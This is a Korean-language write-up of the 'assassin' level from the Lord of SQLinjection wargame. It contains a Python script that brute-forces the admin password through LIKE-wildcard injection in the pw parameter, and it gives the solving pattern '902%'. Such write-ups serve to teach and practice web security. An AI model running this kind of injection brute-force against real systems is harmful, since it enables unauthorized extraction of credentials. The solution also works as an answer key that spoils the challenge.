> For the complete documentation index, see [llms.txt](https://donghyunlee.gitbook.io/write-up/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://donghyunlee.gitbook.io/write-up/wargame/lord-of-sqlinjection/assassin.md).

# assassin

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-5LBHb5zi4NkfpvkOW%2F-M-5LM0Vjd7p8Ik0XUUc%2Fimage.png?alt=media\&token=88f8aab3-dee2-469f-927e-f1e5ba7979c2)

파이썬 코드를 짜면 아래와 같다.

```python
import requests

URL = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw='
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE_GUEST = 'Hello guest'
TRUE_PHRASE_ADMIN = 'Hello admin'


def query(payload):
    cookies = {'PHPSESSID': PHPSESSID}
    r = requests.get(URL + payload, cookies=cookies)
    content = r.text
    return content


# 902%
def find_pw():
    pw = ''
    found = False
    while not found:
        char_guest = -1
        for character in range(0, 128):
            if chr(character) == '%' or chr(character) == '_':
                continue

            content = query('{}{}%'.format(pw, chr(character)))
            if TRUE_PHRASE_GUEST in content:
                char_guest = character
            elif TRUE_PHRASE_ADMIN in content:
                pw += chr(character)
                found = True
                break
        if not found:
            pw += chr(char_guest)
    print('pw: {}%'.format(pw))


find_pw()
```

실행결과, pw의 패턴은 `902%` 이다.

<https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=902%> 에 접속하면 문제가 풀린다.